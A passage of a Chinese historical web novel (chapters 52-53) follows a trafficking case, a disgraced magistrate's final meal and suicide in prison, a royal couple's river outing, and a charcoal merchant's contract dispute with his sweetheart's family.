马昭昭望向祁多儿深深的叹了一口气,祁多儿宽慰马昭昭道:“无事,越是晚出来,则越是说明他办事顺利。”
楚云照走至门口,听得祁多儿这句话,一时语噎,咳了几声后说道:“你们是有何事急着找我?”
马昭昭提着食盒向楚云照说道:“今日回家,得知我家欠知府大人一段恩情,父亲让我求你,能让知府大人吃些好的。”
祁多儿望向楚云照道:“我与秋水验过毒了,送些吃食能成全了马馆长的一番心意也好。”
楚云照思索一番后,看向马昭昭道:“你去吧。”
祁多儿见马昭昭走远后,看向楚云照问道:“如何了?”
楚云照叹了一口气:“他不愿信任我,也认为不应追查后续之事。至少此时还不能。”
祁多儿心想,太子如今在朝堂之上也是稳固,确实不可动他。沙洲还有六皇子的兵马相助,若是真的追查上去,怕是连这拐卖之案也不可结。
祁多儿道:“你要再向后查吗?”
楚云照点头又摇头:“查是一定要查的,只是不必与当下的案情一起去办。”
此事若是一起查,难免牵扯的人太多。只将此处运输链将其斩断为好。但不查出幕后人物与其证据也不可,终归这是一根刺。
马昭昭向牢中走去,越走越暗。走至内牢,只见牢房右侧高处又一窄小细长的窗子,透进一些细小悠长的光,郑知府坐于光影下,痴痴的望着那扇窗户。
马昭昭让一旁的护卫打开牢房门,走了进去,点上一盏蜡烛,收拾了之前的残羹。
马昭昭看向郑怀义道:“郑大人,我父亲让我为你送些吃食。”
郑怀义皱眉不屑地说道:“你父亲是何人?不必说些谎话了,我认得你,我只是累了,但不是糊涂了。”
马昭昭也不气恼,只是将菜拿出说道:“大人真是好眼力,可民女确实也未说谎。大人可还记得一位叫做马福运的武夫。”
马昭昭抬头看着郑怀义并未答话,只是一时呆愣住了。
郑怀义脑子闪过了一些模糊的画面,他不敢回想,但思绪却不听他的调摆。此事已经过去许久,他将那时的事情已经忘却了七八。可当时破案拿下贼人的喜悦感到是记到如今。
马昭昭继续拿出一道红烧肘子说道:“当年我父亲不过只是一个跟着□□的武夫,有一日吃了些酒,误惹上了一场人命官司。挨了一场打,若不是大人你来接手那案子,又让人将他医治,怕是那腿就废了。”
郑怀义低笑着摆手说道:“不记得了,太久了。你快些回去吧,许是送错了人。”
马昭昭继续拿出一道四喜丸子:“当时我母亲已怀孕多月,快要临产。她心中着急,一时间在衙门动了胎气。一旁人避之不及,你却将我母亲迎了进去。如果不是你,我便也不能在此了。”
郑怀义想让她别说了,可自己却发不出一个字,便转身抬头看着牢中那细长但窄的窗子。虽是发髻凌乱,却又腰背挺直。
马昭昭见他背过身去说道:“这是我父亲自己做的鲤鱼汤,天凉了,让您暖暖身子。”
郑怀义回头看了一眼,还是不说话。
马昭昭继续说道:“我与父亲说了如何拿住你之事,可他不愿相信。还做了这小葱拌豆腐,期盼有一日大人能洗刷冤屈,再出来定是一个为国为民的好官。”
马昭昭将食盒收了起来,向郑怀义跪下后说道:“我父亲出狱后,要为我取名为昭雪。您说昭雪此事虽好,但为名不好。昭昭天宇阔,皛皛川上平。不如就叫昭昭吧。因此我便叫马昭昭了,父亲还说若是还有妹妹,便叫皛皛。我父亲不认识几个字,那日后寻了个书生,写成了对联,如今还挂在他的屋内。”
郑怀义出声问道:“他如今怎么样了?他当日所说武馆开启了吗?”
岁月不居,时节如流,马昭昭之父一案为郑怀义走上仕途之日的第一案。那时他少年意气强不羁,虎胁插冀白日飞。但此时当日雄心壮志早已不复存在了。
马昭昭点头答道:“已开起来了,他说我的命一半算是你给的,今日你落难,我既然能见到你。一是给你送些饭菜。二则是给你磕上三个头以谢你当日救命之恩。”
郑怀义听着马昭昭的磕头想要伸手将她扶起,回过身看向马昭昭,却又觉得一身无力。只好又背身过去,只若有所思得望着面前的高墙。听见马昭昭出门的声音后,才又转过身来看着那些拿来的菜。
他面露苦涩,无奈又痛苦得看向那些菜。这是一位老友的期待与祝愿,而他如今已是完全辜负了。
他慢慢的坐于饭桌前,一点点的弓下了腰。
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思考了好一阵子,又挺直了起来。将袖子挽了起来,就用手将那些饭菜抓起就吃。吃得狼吞虎咽,将那肘子的骨髓都敲碎吸净了,汤一滴不剩,米饭一粒不落。除那小葱拌豆腐外都吃得干干净净。
吃过饭后,将手在衣袖上擦了干净。又发疯嚎叫了好一会,叫狱卒给他拿了笔墨纸砚来。他将那份小葱拌豆腐拿起放至桌前,其余餐盘都拿起丢在一边。
将笔墨铺好后,便开始写诗。喊得狱卒添了两三回纸与墨。如此写了一夜,他将所写诗堆叠好后,又留了一句话:“你要的东西,都在这些诗中。”
见天色渐亮,他让牢中守卫将楚云照叫来,说自己有事要交代。
楚云照与祁多儿一同来到了内牢。郑怀义见楚云照来了后,用手指向了桌上那叠纸。
祁多儿见郑怀义面色不对,立马向门口护卫喊道:“快开门,郑大人,莫。”
话音还未完全落下,郑怀义便一头撞向了窗下的那面墙。他直直得倒在了地上,窗上的光映着他额间迸溅出地雪。
护卫着急的将门打开后,楚云照快步走了进去,先是探了鼻息,又探了脉搏:“已经没救了。”
祁多儿拿起郑怀义写的那些诗句道:“他给你留了一道题。”
楚云照环顾了牢房四周,又让人将郑怀义抬出与他夫人同葬后看向祁多儿道:“将那日所抓之人全部提审吧。”
楚云照身旁衙役领命,正要前去之时,又改口说道:“不,先提审张坊主。”
楚云照向堂下张坊主问道:“拐卖良籍,替换户籍等罪你可认?”
张坊主嗤笑一声道:“我有何罪,我不过是为他们寻了一条出路而已。他们一没糊口的工作,二没良田耕种。待在家里不过是饿死。我为他们寻了一条生路,他们感谢应是该感谢我。”
张坊主道:“替换户籍?算得什么替换,不过就是混出头的妓女又想寻一清白身份,她们原本也是贫穷之家,如今只不过是回了自己该去的地方罢了。我让穷人家的孩子能去赚得一口饭吃,又能让赚了钱的妓女回归她本身。我看大人你不应治我的罪,应要奖赏我。”
楚云照呵斥道:“你只需说,你是否做了这些事。”
这贼人好无礼,将贫困之家的孩童,骗去做那下三滥的营生。待那人好不容易混出头了,却又用这虚无的道德感骗她出钱,买个清白的户籍。
张坊主仍是脸带不屑的说道:“是,这些我都做了。如今已经落在你手中,这些我也没什么不好承认的。我买了人家的户籍,再又拐了人家的儿女,他去报案都没有依据。有次啊,得了一个水灵的娘子,那娘子的父亲,第二日就来报案了。您这位置的人刚从那娘子的身上下来,却还呵斥告状的人不要无理取闹。”
说罢又哈哈大笑了几声,满眼挑衅的看着楚云照。
楚云照双眼气得通红,将惊堂木用力一敲:“此人罪大恶极,当堂处死。”
张坊主被衙役拖了下去,还在大笑道:“我今日死了,你去想想你能活多久?”
52. 闲话家常赏风景
“
郝北泷青揽。
今捉拿一伙拐卖之徒,凌迟一人,绞刑三人。流放三千里着十人,判徒刑三年二十人。
其中有一红香阁管账供词“规图厚利,于梧、涪、泸州与生口牙人通同,诱略良民妇女,或于江边用船津载,每船不下数十人。”
问其梧州主理着为何人,那人答曰“只知是从红枫渡口而来,不知是何处何人相送。”
谨付寸心,希垂尺素。
祁伊来十月十一日。
”
安王推开了门,环顾一眼房间后,见郝北泷在书案前。便走了过去,拿出一顶掐金花丝镶嵌烧珐琅彩宋冠递给郝北泷道:“你平日不爱发髻,今日在路上见这发冠,觉得不错。”
郝北泷抬头看向安王,笑着点头道:“倒是不错,你替我先放入梳妆台中,明日有空了试试。”
她见安王将发冠放好后,便将手中的信递与安王:“文显,你可知红枫渡口在何处?”
安王接过信件,看完后说道:“这红枫渡口我确是不知在何处,不过这梧州知州农淮安与司户参军覃修远到是都与我说过这拐卖人口之事,不仅是梧、涪、泸三洲。还与大理等地都有所来往。”
郝北泷皱着眉头,扶额说道:“如此大案,怎迟迟未查?”
安王叹气道:“不是不查,是查无可查。”
郝北泷问道:“这是为何?”
安王道:“此处与涪、泸两处不同。此处不过是与大理、自杞、罗殿、特磨道等国的一个渡口。多是外境男女被买入从此处运往它处。所以查无可查。”
见郝北泷不答话,安王道:“阿眠?”
郝北泷听见安王呼唤答道:“它国之事到也确实无可查,不过你可否派人打探一番红枫渡口?”
这周边各国,皆无强盛兵力,虽说是不必在乎他日是否有人借此出兵,但还是得亲自查探一番才能放心。
安王点头道:“司户参军覃修远是个万事通,可让他来查探。”
安王派人将覃修远唤来王府,覃修远向安王与郝北泷行礼道:“不知安王,郝将军唤下官有何事?”
安王问道:“你可听过红枫渡口之名?”
覃修远道:“横山寨有一红枫坊,红枫坊有一如枫叶形的湖,晚霞照过就如红色枫叶。湖边有一听曲小楼就名红枫渡口。”
郝北泷笑道:“覃参军不愧是万事通,这都明了。”
覃修远道:“将军谬赞,不过为分内之事。将军可是要查人口拐卖之案?”
郝北泷点头让覃修远继续说下去。
覃修远道:“此地人贩子几乎没有。一是因为此处为化外之地,又处于群蛮之腹,见外乡人皆谨慎,若发觉有拐卖之行为,报官着少有,皆就地打死。人贩子便也不敢常来此处。将军若有兴趣,我可将相关案卷送来此处。”
郝北泷笑了几声道:“这民法到是比官法更威慑人心了。”
覃修远道:“非也,不过此处民众民智尚未完全开化,虽是野蛮但也纯真,其所行之事也只为自保。若是其他地方,让其私法泛滥,那被打死之人就不知是人贩子还是其亲生父母了。”
郝北泷点头道:“参军好见地。”
覃修远行礼谢过后又继续道:“将军今日问到这里,我也新得一个消息。奉化处有一人口拐卖的窝点被新科状元楚云照以及那位民间称为女状元的祁娘子祁伊来给捣毁了。”
郝北泷心想我今日才收到信件,你却是之前就得知了,“你这是由何处得知?”
覃修远道:“不过是往来各处经商的朋友多了而已。”
郝北泷又问了一些消息,送走覃修远后,与安王说道:“此人不愧是万事通。”
安王笑道:“我这梧州也算是藏龙卧虎了,如今你来了,则是如虎添翼了。”
郝北泷摇头道:“我自愧不如。”
安王道:“不必如不如的了,你来这几月,都在训练将士,明日与我一同去游湖赏景如何?虽比不得京师的富贵繁荣,但也别有一番风情。”
郝北泷点头道:“也好。”
第二日卯时,郝北泷戴上了安王所送发冠,又让侍女选取几朵红黄小花做配饰。穿上一明黄色织锦长裙,配上一件葱绿色绣花半袖衫。她不喜涂脂抹粉,侍女便只为她绞面修眉了一番。
虽是不施粉黛,但好在此地水土滋润,她脸颊的高原红已退七八。她又本是习武之人,更是血气充盈之态。天生一张富贵容貌,如花开正艳之牡丹。
安王脸色惊讶,眼见一股赞叹迷恋之意。但不常见她这种打扮,怕她不习惯。“你觉得这样可还好?需要换身舒适些的衣服吗?”
郝北泷笑着轻敲了一下安王头:“不必,一件衣服而已,我不爱讲究,你也不必担忧。”
安王与郝北泷乘车后到达渡口,登上一艘小船,船舱一蓬覆盖,左右各四扇小窗,启窗观景,左右景色皆可收于眼中。
船舱中部,安王与郝北泷相对而坐。船头坐护卫侍女各两人,船尾有一楫一炉,摇楫者一人,烧炉煮水斟茶者一人。
安王与郝北泷乘船沿桂江一路向下,安王便一路为其介绍沿途所见山为何山,树为何树。若到江边有所出名的吃食处,或是有趣之地就下船游玩。玩够了便再上船继续向下。
直至戌时,天色已暗,才归家。
回去之时,见郝北泷看着江边灯火,脸上有几分忧愁。安王便问道:“你可是想郝元帅了?”
郝北泷望向安王道:“只是想到此时若是在塞北,就不见这青山绿水了。”
安王道:“有所耳闻,不见青山留一绿,万花锦色未染成。大荣疆域辽阔,各地风景各不相同,若是有此机会,我们能一一亲眼见过就好。”
郝北泷点头笑道:“确是如此。”
若能当个富贵闲人,游历山河风景确是不错,可惜此事倒是最难。我等虽是富贵,却不可轻易离开封地。商人富贵又需多处跋涉,可惜双眼盛不尽名利,难见风景。非官非商,却又难得钱财行路。
安王指向江边的酒楼,一旁有迎亲的喜船,
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还有些烟花爆竹:“早知那日娶你,也走水路,这江岸处的烟花原是如此好看。”
郝北泷也随安王手指之处看去,“这江水映着这烟花,倒是更显绚丽了。”
安王道:“你觉得你我成婚那日烟花如何?”
郝北泷尴尬一笑:“那日我在轿中,听外面的声音浩大,应是场面非凡。”
安王听此讪讪一笑,“这轿子着实烦人,还是这喜船来得好。还有就不该有这盖头,新娘子若能看清眼前美景,这新娘子应更喜她夫君三分。”
郝北泷笑着点头附和了他的说法,他心中甚是欢喜。两人本是相对而坐,他借指美景之由,换于她身旁之位。后来聊得累了,她便靠着他小歇了一会。
贺得宝靠在忍冬的肩上轻叹了一口气。两人在绣坊院中互相倚着说着些闺中秘话,得宝手拿着一盘糕点,倚着忍冬吃着。忍冬一边与得宝说着话,一边绣着丝绢手帕。
忍冬笑道:“怎又叹气了?你怎么出了绣坊越发的不开心了。”
贺得宝拉着忍冬的手,“原先秋水哥哥所要得那些废旧木头,这几日有一商人想要加价购买。”
忍冬不屑道:“这又如何,买卖契书都签字画押了。你家还能卖给别人?”
贺得宝道:“这买卖契书是与爹的贺记木枋主店签订的,但大哥二哥的分店并没有。”
忍冬将绣花的手停了下来,望向贺得宝,“那你大哥二哥若是不给,供货量可是少了很多?”
贺得宝摇头道:“到是少不了多少。可若是大哥二哥借此提出分家,说是我们导致了他们损失了这个单子,我爹与我娘必是少不了争吵。大哥二哥又借此为难他来取货,我也不知该如何面对他了。”
忍冬叹道:“真是家家有本难念的经,富贵人家分钱难,穷困人家讨钱难。”
哎,人总是如此难过么?我原先以为得宝应是我们几人中最为快乐无忧的一个,没想到,她也有诸多难事。
贺得宝点头道:“还是秋水与多多潇洒,一个与神医一同研究了克制天花之法。一个查罪断案还能请神降雨。而我们就困于这黄白之物上了。”
好生羡慕秋水与多多,她们的人生才是有趣味。
忍冬啧了一声,“只是你困于黄白之物,我是困于账目了。茯苓姐姐有孕,金娘子又想分出一些人去往泸州开创分店。我如今也要开始掌握账目了,我可算知道你原先之苦了,实在是繁杂恼人得很。”
贺得宝一楞道:“你不会也要去往他处吧,你若走了我一个人怎么办?”
忍冬摇头道:“我不必去,是李云随与江言乐还有陈润宁三人管理,再带上十位绣娘前去,不过不知具体是何人。”
贺得宝点头道:“还好你不必去。”
忍冬笑道:“若我要离开,我定然早就告诉你了。你这忧愁之事你想如何办?”
贺得宝摇头道:“我已经将此事告知他了,不知他如何应对。”
我告知有人出高价与他争这木材了,他也只是道了句谢。不知他想如何去办。
53. 寒来木炭胜金银
才刚立冬不久,天气也不算是非常寒冷。想是安定了四年有余,多数人家有了些余钱,城内街市乐坊多了起来。这炭火有些供不应求了,价格也涨了不少。
春林与贺记木枋签约之时,还尚且不知如今这煤炭的紧俏程度,也算是拾了一个大便宜。但当时还是年少,本想与与贺家留得一个好印象,也为深究详细。
谁知这贺记三家木枋竟然在官府上都有不同的贸易凭证。当时这未注意之处,着实是给今后留下一个隐患。
若他只是为做生意倒也罢,就劝当不知。若是另外两家不允,他不去管。让得宝两位哥哥闹腾,他只与贺记本家做生意来往也不至于亏,说出去只当是他贺记合伙哄骗了他。
可他偏偏不是,他是要在贺家人中都得一个好印象。所以只得被动了一些,苦思了几天,才得一个勉强算是两全的法子。
许春林手拿两份契书与新聘的管账郭全安,又邀了贺得宝的父母以及她两位哥哥,一同往天香楼议事。
这郭全安,乃是许春林的同窗。许春林不喜四书五经,一心贪图安逸,整天喜欢看些话本。郭全安也不喜四书五经,只喜欢研究那算术之法。
两人虽是兴趣各不相同,但因在书院中都属于那不思进取的一丘之貉,便也就关系熟络了起来。
许春林这几月挣了些银子,招工的人也多了起来,忙不过来。见郭全安考试也屡次不中,便将他给找了过来。
许春林与郭全安早早的到了天香楼,仔细看了些菜单,将天香楼的招牌菜品与甜品点了个遍。
终于等至贺家一家人来此,与贺家人聊天吃酒尽兴后。许春林倒了一杯酒敬向贺得宝的父亲贺来财道:“贺老板,这天下日子太平了,生意也好做了些,如今这炭火实在是价比黄金。”
贺来财眯着眼睛笑道:“虽说自古这木炭都是稀罕物,但如今这高价也是闻所未闻的。”
许春林道:“这一来是当今圣上治理有方,二则是要感谢贺老板抬举,让我承包了你那的生意。”
贺来财摆手道:“这如何说得,你我那是生意互助。你能得利,我也能得闲。”
许春林又给自己倒了一杯酒,饮后说道:“贺老板心胸宽广,小辈实在是自愧不如,我先罚酒一杯。”
贺来财将许春林的手拦下,“你这是何意啊?”
许春林起身向贺来财行礼道:“如今这时节,木炭的价格之高昂,乃是我未曾想到的。之前我们签订契书的合同价格太过低廉,小辈也问心有愧。我今日请四位老板来此,是有一事相求。”
许春林让郭全安将自己写的两封契书展示出来,“我们可将原先的契书作废,这第一份是我将买金上涨了三成,其余不变。这第二份是我以原来的三成价格购买一成木材。”
贺来财眼色疑惑的看了眼许春林又看向自家娘子,林娘子也是皱了眉头问道:“你这两份契书是何意?”
许春林答道:“这第一份呢,是我见如今木材价格高涨,以提三成价格来显示我的诚意。这第二份呢,则是我之前与那附近的村民说好的分一些杂木给他们。就望各位老板见这些日子合作的面子,能至少让我与这些村名的约守到来年夏天。以保他们今年这年好过一些。”
林娘子面色一变,略有三分怒气道:“许老板这意思,就是我说贺家都是小人?会枉顾你我之间的契书,还会耽误你做这好人?”
这小子与得宝两人都是脑子有问题的主,还平白无故担心起贺家了。得了便宜就得了便宜,经商不就是如此。还得我来让他莫真劝说成功了。
贺斌心中一喜,出言相劝道:“许老板确实有些诚意,不如就按他的来吧。”
虽是加上三成也不算多,等会重新签定契书了。再来商讨一番三家贺记的不同,我与贺斐倒是刚好可借由这次机会名正言顺的退了。
贺斐嗤笑一声说道:“二娘大哥,你们莫要被他哄骗了。如今出价比他三四倍的多的是,你原先那价格也配买点杂木了,也别将自己看得太高。要我说,不如就此断了这份契书,我们在赔些银子,许老板拿钱去过年了也好。”
二娘与大哥真是糊涂,居然还要顺着许春林的话来。这人在此得了便宜还卖乖,真是恬不知耻。
林娘子望着贺来财笑道:“你瞧斐儿这番话说得,倒也真不愧让人将我贺家看低了。”
贺来财面色甚是不悦,将桌上契书拿起说道:“你们心中所想我也知道了,都是自家人,我也不说什么客套话了。”
贺来财看向林娘子:“今后,贺家木枋定个规矩,无论何地的木枋,每年废木留出一成给周边乡亲,不许卖出也不许迁走。”
贺来财将两份契书看了个仔细将第一份放下,拿着第二份说道:“这字是你写的吗?”
许春林点头行礼道:“正是小辈。”
贺来财将那第二封契书撕毁后,叹了一口气道:“确实是一手好字,可惜力道有些不够。不过你也还年轻,再练些时日也好了。你我贺记的契书,就按原先的来,无需更改。”
贺来财道:“至于这城北贺记与城东贺记则是我这两位儿子贺斌与贺斐掌管。他们两年纪也大了,改自己管事了。贺斌你的城北是要签定这新契书或是今后自己再去寻外商?”
贺斌脸色一变道:“父亲,我出来之时匆忙,未带印章。改日在去木坊中签订吧。”
贺来财摆手道:“我们也是不忙,你可去唤你门外的伙计去印。”
贺斌点头道:“我这就去。”
贺来财又看向贺斐道:“你如何说?”
贺斐哼了一声道:“孩儿觉得,我可找他人。如今木炭生意甚是红火,我不愿.”
贺来财不等贺斐说完,便出声阻止道:“那你就先回去吧,我与你二娘还有大哥和许老板还有些话说。”
贺斐听此便气愤的离开了天香楼。
贺来财等至贺斌签字画章后,便也与林娘子乘车回了贺宅。
贺来财问林娘子道:“你觉得这许春林如何?”
林娘子道:“心性甚是不错,人也聪慧。”
贺来财摇头道:“我看他甚是愚笨,一心求和只能落人下风。虽说他有几分迫不得已,但今日这行迹实在让我难已将得宝托付与他。你过些时日好好敲打一下。还有得宝,你也要多管教一番,这还未出嫁,就
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什么话都与外人说。”
林娘子心中觉贺来财还是向着她们的,此时心中也是一喜,“夫君说得有理,我择日便去训诫他们一番。”
贺来财点头道:“还有贺斐,他如今心气越发高,眼界越发低了。你也算是他的母亲,有空也要教导一下他。”
林娘子原先的喜悦又被浇灭了一半,她如何没有教导。她扪心自问,她待她们兄妹三人不偏不倚。原先甚至更为偏袒那两兄弟,可也不知为何,这年岁越大,就是越发有隔阂了。
许春林想这今天的结果,比他预想的几种结果都要好些。不过贺来财对他貌似不算满意,他又觉得心中有些郁闷,不知如何才好。
他觉得烦闷,便翻着订单账本,见有一熟人的名字,又确认了一番地址。正是秋水的师兄李松家,便要自己去送炭火。一旁的伙计不肯,郭全安过来劝说:“莫怕,他真是想去,不会夺了你的活计。这篓子的价钱,我也会算于你头上。”
听了此话,那伙计才松手。
背着一篓子炭火快要走至李松住宅,便碰上了李松。李松笑道:“你们已是如此忙了么,怎得掌柜的也出来送货了?”
许春林叹气一声后,将今日之事说与了李松听,李松大笑了几声道:“你这虽算不得是个商人,但实属是个善人。”
许春林摆手道:“你莫要取笑我了。”
说道此处,正巧到了屋门,李松推门做了一个请的手势。李杏正在院中晒着药材,看见一个穿着灰色麻布衣裳背着炭的年轻小子走进院中。
李杏面色不悦,语气甚是不好的说道:“你这送炭的怎走正门,落得这院中都是炭灰。请从后门进来,将这放在伙房。”
李松出声道:“他不是。”
许春林拦下李松,笑道:“我是。是我不知礼了,我这就由后门进。”
说罢,便出门绕至后门再敲门而入。
李松叹气道:“他是秋水的二哥。”
李杏啊了一声道:“你怎不早说?”
李松走向后院,给许春林斟茶了后说道:“今日你这是有些犯煞了,又挨一训了。”
许春林摆摆头道:“这算不上,你与我想想还有何事可做,我觉得还是心中觉得有些不足。”
李娘子这一喝,让他觉得若是一个莽撞的伙计,遇到李娘子这种人呵斥一番也就罢了,惹了别的人就不好了。他需得与郭全安聊下如何使这帮伙计注意一些,莫得罪了人。
李松思索一番道:“你为夏日烧的炭存放做的那些仓库地窖,可以存冰否?”
许春林一拍手道:“仓库保温不知是否可以,但地窖到是甚好。我回去与郭全安商议一番,得亏今日来见你了。你怎想得此招?”
李松讪讪一笑道:“只是突然灵机一动,若你成了一定要便宜些卖于我。”
算了些日子,茯苓生产时候应该就是快要入夏之时。这几日想要购买些冰块存着,夏日里也好过些。可都太贵了些,这正好他就好了,可不就想到了吗。
茯苓也回了家中,听李杏说今日呵斥了秋水二哥正在院中懊恼。又知秋水二哥正在后院,便要拉着李杏前去道歉。